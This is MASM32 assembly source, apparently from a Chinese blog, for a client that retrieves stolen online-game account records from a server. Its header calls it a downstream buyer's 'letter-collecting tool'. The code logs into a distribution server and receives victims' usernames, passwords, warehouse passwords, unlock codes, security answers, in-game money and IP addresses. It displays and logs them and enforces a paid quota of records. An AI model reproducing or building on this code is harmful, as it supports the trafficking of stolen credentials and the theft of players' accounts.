用户提信客户端

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; by asm, http://www.game8.cc/
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Client.asm
; 用户提信客户端 -- 下家取信工具
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff Client1.asm
; rc Client.rc
; Link /subsystem:windows Client1.obj Client.res
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                .386
                .model flat, stdcall
                option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include                windows.inc
include                user32.inc
includelib        user32.lib
include                kernel32.inc
includelib        kernel32.lib
include                wsock32.inc
includelib        wsock32.lib
include                comctl32.inc
includelib        comctl32.lib
include                shell32.inc
includelib        shell32.lib
includelib  base64code.lib
include                _Message.inc
include macros.inc

    DecodeBase64   PROTO c :DWORD, :DWORD
    EncodeBase64   PROTO c :DWORD, :DWORD,:DWORD
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN        equ        1000
DLG_MAIN        equ        2000
IDC_LIST1              equ      2001
IDC_COMBOBOXEX2        equ            2002
IDC_EDIT2              equ      2003
IDC_BUTTON4              equ      2004
IDC_PROGRESS1           equ         2005
IDC_AddUser              equ      2006
IDC_UserName           equ         2007
IDC_PassWord           equ         2008
IDC_Qu                 equ   2009
IDC_Fuwuqi              equ      2010
IDC_EDIT14              equ      2011
IDC_EDIT1              equ      2012
IDC_COMBOBOXEX1        equ            2013
IDC_EDIT3              equ      2014
IDC_SERVER              equ      2015
IDC_USER                 equ   2016
IDC_PASS                 equ   2017
IDC_LOGIN              equ      2018
IDC_LOGOUT              equ      2019
IDC_BUTTON3       equ        2020
;IDC_BUTTON4        equ      2021
TCP_PORT        equ        9999
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                .data?
hInstance        dd        ?
hWinMain        dd        ?
hSocket                dd        ?
dwLastTime        dd        ?
szServer        db        16 dup (?)
szUserName        db        12 dup (?)
szPassword        db        12 dup (?)
szText                db        256 dup (?)
hList dd ?
@sz Buffer db 5026 dup(?)
@dwListviewitem dd ?
hhang dd ?
szMessage db 100 dup(?)
szMessage1 db 100 dup(?)
szMessage2 db 100 dup(?)
szMessage3 db 100 dup(?)
szMessage4 db 100 dup(?)
szMessage5 db 100 dup(?)
szMessage6 db 100 dup(?)
szMessage7 db 100 dup(?)
szMessage8 db 100 dup(?)
szMessage9 db 100 dup(?)
szMessage10 db 100 dup(?)
hEdit dd ?
szWrite db 1024 dup(?)
@hFiledaka dd ?
@dwWritedaka dd ?
@dwWritebyte1 DWORD ?
szBaseUserName db 100 dup(?)
szBasePassword db 100 dup(?)
hNameSize dd ?
hPassSize dd ?
hProgress1 dd ?
@dwCount1 dd ?
                .const
szErrIP                db        '无效的服务器IP地址!',0
szErrConnect        db        '无法连接到服务器!',0
szErrLogin        db        '无法登录到服务器,请检查用户名密码!',0
szSpar                db        ' : ',0
Fmt db "%s",13,10,13,10,0
szFmt db "用户:%s  密码:%s  仓库%s  解锁:%s  密保:%s  服务器:%s  等级:%s  金钱:%s  角色:%s",13,10,13,10,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                .code
include                _SocketRoute.asm
include   Fun.asm
include _ListView.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 通讯线程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WorkThread        proc        _lParam
                local        @stSin:sockaddr_in,@stMsg:MSG_STRUCT
                ;local        @szBuffer[5026]:byte

                pushad
                invoke        GetDlgItem,hWinMain,IDC_SERVER
                invoke        EnableWindow,eax,FALSE
                invoke        GetDlgItem,hWinMain,IDC_USER
                invoke        EnableWindow,eax,FALSE
                invoke        GetDlgItem,hWinMain,IDC_PASS
                invoke        EnableWindow,eax,FALSE
                invoke        GetDlgItem,hWinMain,IDC_LOGIN
                invoke        EnableWindow,eax,FALSE

;********************************************************************
; 创建 socket
;********************************************************************
                invoke        RtlZeroMemory,addr @stSin,sizeof @stSin
                invoke        inet_addr,addr szServer
                .if        eax ==        INADDR_NONE
                        invoke        MessageBox,hWinMain,addr szErrIP,NULL,MB_OK or MB_ICONSTOP
                        jmp        _Ret
                .endif
                mov        @stSin.sin_addr,eax
                mov        @stSin.sin_family,AF_INET
                invoke        htons,TCP_PORT
                mov        @stSin.sin_port,ax

                invoke        socket,AF_INET,SOCK_STREAM,0
                mov        hSocket,eax
;********************************************************************
; 连接到服务器
;********************************************************************
                invoke        connect,hSocket,addr @stSin,sizeof @stSin
                .if        eax ==        SOCKET_ERROR
                        invoke        MessageBox,hWinMain,addr szErrConnect,NULL,MB_OK or MB_ICONSTOP
                        jmp        _Ret
                .endif
;********************************************************************
; 登录到服务器
;********************************************************************
      ;invoke DecodeBase64,addr szUserName,addr szBaseUserName
      ;invoke DecodeBase64,addr szPassword,addr szBaseUserName
      invoke lstrlen,addr szUserName
      mov hNameSize,eax
      invoke EncodeBase64,addr szUserName,addr szBaseUserName,hNameSize
      ;invoke MessageBox,0,addr szBaseUserName,0,0
      invoke lstrlen,addr szPassword
      mov hPassSize,eax
      invoke EncodeBase64,addr szPassword,addr szBasePassword,hPassSize
      ;invoke MessageBox,0,addr szBasePassword,0,0
                invoke        lstrcpy,addr @stMsg.Login.szUserName,addr szBaseUserName
                invoke        lstrcpy,addr @stMsg.Login.szPassword,addr szBasePassword
                mov        @stMsg.MsgHead.dwLength,sizeof MSG_HEAD+sizeof MSG_LOGIN
                mov        @stMsg.MsgHead.dwCmdId,CMD_LOGIN
                invoke        send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
                cmp        eax,SOCKET_ERROR
        ;        jz        @F
                invoke        _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
        ;        or        eax,eax
        ;        jnz        @F
        ;        cmp        @stMsg.MsgHead.dwCmdId,CMD_LOGIN_RESP
        ;        jnz        @F
        .if @stMsg.MsgHead.dwCmdId == CMD_LOGIN_RESP
                .if        @stMsg.LoginResp.dbResult != NULL
                ;        @@:
                        invoke        MessageBox,hWinMain,addr szErrLogin,NULL,MB_OK or MB_ICONSTOP
                        jmp        _Ret
                .endif
        .endif
                invoke        GetDlgItem,hWinMain,IDC_LOGOUT
                invoke        EnableWindow,eax,TRUE
                ;invoke        GetDlgItem,hWinMain,IDC_TEXT
                invoke        EnableWindow,eax,TRUE
                invoke        GetTickCount
                mov        dwLastTime,eax
;********************************************************************
; 循环接收消息
;********************************************************************
                ;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
                ;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
                invoke        SendMessage,hList,LVM_DELETEALLITEMS,0,0
                mov hhang,0
                ;mov @dwCount1,0
                .while        hSocket
                        inc hhang
                        ;inc @dwCount1
                        ;invoke SendMessage,hProgress1,PBM_SETPOS,@dwCount1,0
                        invoke        GetTickCount
                        sub        eax,dwLastTime
                        .break        .if eax >= 60 * 1000
                        invoke        _WaitData,hSocket,200 * 1000
                        .break        .if eax == SOCKET_ERROR
                        .if        eax
                                invoke        _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
                                .break        .if eax
                                .if        @stMsg.MsgHead.dwCmdId == CMD_MSG_DOWN
                                        invoke RtlZeroMemory,addr szWrite,sizeof szWrite
                                        invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
                                        ;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
                                        ;invoke        SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
                                        invoke        _ListViewSetItem,hList,hhang,-1,0        ;插入新的一行
                                        mov        @dwListviewitem,eax
                                        invoke RtlZeroMemory,addr szText,sizeof szText
                                        invoke wsprintf,addr szText,CTXT("%d"),hhang
                                        invoke        _ListViewSetItem,hList,@dwListviewitem,0,addr szText
                         invoke        _ListViewSetItem,hList,@dwListviewitem,1,addr @stMsg.MsgDown.szUser
                         invoke        _ListViewSetItem,hList,@dwListviewitem,2,addr @stMsg.MsgDown.szPass
                         invoke        _ListViewSetItem,hList,@dwListviewitem,3,addr @stMsg.MsgDown.szCKpass
                         invoke        _ListViewSetItem,hList,@dwListviewitem,4,addr @stMsg.MsgDown.szJieSuo
                         invoke        _ListViewSetItem,hList,@dwListviewitem,5,addr @stMsg.MsgDown.szMibao
                         invoke        _ListViewSetItem,hList,@dwListviewitem,6,addr @stMsg.MsgDown.szServer
                         invoke        _ListViewSetItem,hList,@dwListviewitem,7,addr @stMsg.MsgDown.szDengji
                         invoke        _ListViewSetItem,hList,@dwListviewitem,8,addr @stMsg.MsgDown.szJinqian
                         invoke        _ListViewSetItem,hList,@dwListviewitem,9,addr @stMsg.MsgDown.szJiaose
                         invoke        _ListViewSetItem,hList,@dwListviewitem,10,addr @stMsg.MsgDown.szIP
                         invoke        _ListViewSetItem,hList,@dwListviewitem,11,addr @stMsg.MsgDown.szTime
                         invoke wsprintf,addr szWrite,addr szFmt,/
                                        addr @stMsg.MsgDown.szUser,addr @stMsg.MsgDown.szPass,addr @stMsg.MsgDown.szCKpass,addr @stMsg.MsgDown.szJieSuo,/
                                        addr @stMsg.MsgDown.szMibao,addr @stMsg.MsgDown.szServer,addr @stMsg.MsgDown.szDengji,addr @stMsg.MsgDown.szJinqian,/
                                        addr @stMsg.MsgDown.szJiaose;,addr @stMsg.MsgDown.szIP,addr @stMsg.MsgDown.szTime
                                        invoke GetCurrentDirectory,200,addr @szBuffer
                                        invoke lstrcat,addr @szBuffer,CTXT("/游戏信封文本.log")
                                        invoke        CreateFile,addr @szBuffer,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,/
                        0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
            mov        @hFiledaka,eax
            invoke        SetFilePointer,@hFiledaka,0,NULL,FILE_END
            invoke        lstrlen,addr szWrite
            mov        @dwWritedaka,eax
            invoke  WriteFile,@hFiledaka,addr szWrite,@dwWritedaka,addr @dwWritebyte1,NULL
            invoke        CloseHandle,@hFiledaka
                                .endif
                                .if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game
                                        invoke MessageBox,0,CTXT("已经到达你所预定的信封量,要想继续提信,请续费"),CTXT("提示"),MB_ICONQUESTION
                                        jmp _Ret
                                .endif       
                                .if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Name
                                        invoke MessageBox,0,CTXT("错误的用户名!"),CTXT("提示"),MB_ICONQUESTION
                                        jmp _Ret
                                .endif
                                .if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game1
                                        ;invoke        lstrcat,addr @szBuffer,addr @stMsg.MsgDown.szContent
                                        ;invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
                                        ;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
                                        ;invoke   SendMessage,hList,EM_SETSEL,-1,0
               ;invoke   SendMessage,hList,EM_REPLACESEL,FALSE,addr @szBuffer
               ;invoke MessageBox,0,addr @stMsg.MsgDown.szContent,0,0
                                        ;invoke        SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
                                        ;invoke        SendDlgItemMessage,hWinMain,IDC_INFO,LB_INSERTSTRING,0,addr @szBuffer
                                .endif
                                invoke        GetTickCount
                                mov        dwLastTime,eax
                        .endif
                .endw
jmp _Ret
                invoke        GetDlgItem,hWinMain,IDOK
                invoke        EnableWindow,eax,FALSE
                ;invoke        GetDlgItem,hWinMain,IDC_TEXT
                invoke        EnableWindow,eax,FALSE
                invoke        GetDlgItem,hWinMain,IDC_LOGOUT
                invoke        EnableWindow,eax,FALSE
;********************************************************************
_Ret:
                .if        hSocket
                        invoke        closesocket,hSocket
                        xor        eax,eax
                        mov        hSocket,eax
                .endif

                invoke        GetDlgItem,hWinMain,IDC_SERVER
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_USER
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_PASS
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_LOGIN
                invoke        EnableWindow,eax,TRUE
                popad
                ret

_WorkThread        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 主窗口程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain        proc        uses ebx edi esi hWnd,wMsg,wParam,lParam
                local        @stWsa:WSADATA,@stMsg:MSG_STRUCT

                mov        eax,wMsg
;********************************************************************
                .if        eax ==        WM_COMMAND
                        mov        eax,wParam
;********************************************************************
; 全部输入IP地址,用户名和密码后则激活"登录"按钮
;********************************************************************
                        .if        (ax == IDC_SERVER) || (ax == IDC_USER) || (ax == IDC_PASS)
                                invoke        GetDlgItemText,hWinMain,IDC_SERVER,addr szServer,sizeof szServer
                                invoke        GetDlgItemText,hWinMain,IDC_USER,addr szUserName,sizeof szUserName
                                invoke        GetDlgItemText,hWinMain,IDC_PASS,addr szPassword,sizeof szPassword
                                invoke        GetDlgItem,hWinMain,IDC_LOGIN
                                .if        szServer && szUserName && szPassword && !hSocket
                                        invoke        EnableWindow,eax,TRUE
                                .else
                                        invoke        EnableWindow,eax,FALSE
                                .endif
;********************************************************************
; 登录成功后,输入聊天语句后才激活"发送"按钮
;********************************************************************
                ;        .elseif        ax ==        IDC_LIST1
                        ;        invoke        GetDlgItemText,hWinMain,IDC_TEXT,addr szText,sizeof szText
                ;                invoke        GetDlgItem,hWinMain,IDOK
                ;                .if        szText && hSocket
                ;                        invoke        EnableWindow,eax,TRUE
                ;                .else
                ;                        invoke        EnableWindow,eax,FALSE
                ;                .endif
;********************************************************************
                        .elseif        ax ==        IDC_LOGIN
                                invoke DeleteFile,CTXT("游戏信封文本.log")
                                push        ecx
                                invoke        CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
                                pop        ecx
                                invoke        CloseHandle,eax
                        .elseif ax == IDC_BUTTON4       
                                invoke DeleteFile,CTXT("游戏信封文本.log")
                                push        ecx
                                invoke        CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
                                pop        ecx
                                invoke        CloseHandle,eax
;********************************************************************
                        .elseif        ax ==        IDC_LOGOUT
                                @@:
                                .if        hSocket
                                        invoke        closesocket,hSocket
                                        xor        eax,eax
                                        mov        hSocket,eax
                                .endif
                                                invoke        GetDlgItem,hWinMain,IDC_SERVER
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_USER
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_PASS
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_LOGIN
                invoke        EnableWindow,eax,TRUE
;********************************************************************
                        .elseif        ax ==        IDOK
                               
                                invoke        lstrcpy,addr @stMsg.MsgUp.szContent,addr szText
                                invoke        lstrlen,addr @stMsg.MsgUp.szContent
                                inc        eax
                                mov        @stMsg.MsgUp.dwLength,eax
                                add        eax,sizeof MSG_HEAD+MSG_UP.szContent
                                mov        @stMsg.MsgHead.dwLength,eax
                                mov        @stMsg.MsgHead.dwCmdId,CMD_MSG_UP
                                invoke        send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
                                cmp        eax,SOCKET_ERROR
                                jz        @B
                                invoke        GetTickCount
                                mov        dwLastTime,eax
                        ;        invoke        SetDlgItemText,hWinMain,IDC_TEXT,NULL
                        ;        invoke        GetDlgItem,hWinMain,IDC_TEXT
                                invoke        SetFocus,eax       
                        .endif
;********************************************************************
                .elseif        eax ==        WM_CLOSE
                        .if        ! hSocket
                                invoke        WSACleanup
                                invoke        EndDialog,hWinMain,NULL
                        .endif
;********************************************************************
                .elseif        eax ==        WM_INITDIALOG
                        push        hWnd
                        pop        hWinMain
                        invoke        LoadIcon,hInstance,ICO_MAIN
                        invoke        SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
                        invoke GetDlgItem,hWnd,IDC_LIST1
                        mov hList,eax
                        invoke GetDlgItem,hWnd,IDC_BUTTON3
                        mov hEdit,eax
                        ;invoke GetDlgItem,hWnd,IDC_PROGRESS1
                        ;mov hProgress1,eax
                        ;mov @dwCount1,0
                        ;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
                        ;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
                        invoke        _ListViewAddColumn,hList,0,50,CTXT("ID")
                        invoke        _ListViewAddColumn,hList,1,100,CTXT("用户")
                        invoke        _ListViewAddColumn,hList,2,100,CTXT("密码")
                        invoke        _ListViewAddColumn,hList,3,80,CTXT("仓库密码")
                        invoke        _ListViewAddColumn,hList,4,100,CTXT("解锁码") ;小姐
                        invoke        _ListViewAddColumn,hList,5,80,CTXT("密保")  ;小姐
                        invoke        _ListViewAddColumn,hList,6,80,CTXT("服务器")
                        invoke        _ListViewAddColumn,hList,7,50,CTXT("等级")
                        invoke        _ListViewAddColumn,hList,8,50,CTXT("金钱")
                        invoke        _ListViewAddColumn,hList,9,50,CTXT("角色")
                        invoke        _ListViewAddColumn,hList,10,100,CTXT("IP")
                        invoke        _ListViewAddColumn,hList,11,100,CTXT("时间")
                        invoke        WSAStartup,101h,addr @stWsa
                ;        invoke        SendDlgItemMessage,hWinMain,IDC_SERVER,EM_SETLIMITTEXT,15,0
                ;        invoke        SendDlgItemMessage,hWinMain,IDC_USER,EM_SETLIMITTEXT,11,0
                ;        invoke        SendDlgItemMessage,hWinMain,IDC_PASS,EM_SETLIMITTEXT,11,0
                ;        invoke        SendDlgItemMessage,hWinMain,IDC_TEXT,EM_SETLIMITTEXT,250,0
                   invoke ShellExecute,0,0,CTXT("http://www.game8.cc/"),0,0,SW_SHOW
                .elseif eax ==        WM_NOTIFY               
                        mov        eax,wParam
                        .if        eax == IDC_LIST1
                                push     edi
                                mov     edi, lParam
                                .if [edi.NMHDR].code == NM_DBLCLK ;双击
                                        invoke RtlZeroMemory,addr szMessage,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage1,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage2,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage3,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage4,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage5,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage6,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage7,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage8,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage9,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage10,sizeof szMessage
                                        invoke RtlZeroMemory,addr szWrite,sizeof szWrite
                                        invoke SetDlgItemText,hWnd,IDC_BUTTON3,CTXT(" ")
                                        invoke        _ListViewSelect,hList,1,addr szMessage ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,2,addr szMessage1 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,3,addr szMessage2 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,4,addr szMessage3 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,5,addr szMessage4 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,6,addr szMessage5 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,7,addr szMessage6 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,8,addr szMessage7 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,9,addr szMessage8 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,10,addr szMessage9 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,11,addr szMessage10 ,sizeof szMessage
                                        invoke wsprintf,addr szWrite,CTXT("用户:%s  密码:%s  仓库%s  解锁:%s  密保:%s  服务器:%s  等级:%s  金钱:%s  角色:%s  IP:%s  时间:%s"),/
                                        addr szMessage,addr szMessage1,addr szMessage2,addr szMessage3,addr szMessage4,addr szMessage5,addr szMessage6,addr szMessage7,addr szMessage8,/
                                        addr szMessage9,addr szMessage10
                                        invoke   SendMessage,hEdit,EM_SETSEL,-1,0
               invoke   SendMessage,hEdit,EM_REPLACESEL,FALSE,addr szWrite
                                .endif
                                pop edi
                        .endif       
;********************************************************************
                .else
                        mov        eax,FALSE
                        ret
                .endif
                mov        eax,TRUE
                ret

_ProcDlgMain        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
                invoke        GetModuleHandle,NULL
                mov        hInstance,eax
                invoke        InitCommonControls
                invoke        DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,0
                invoke        ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值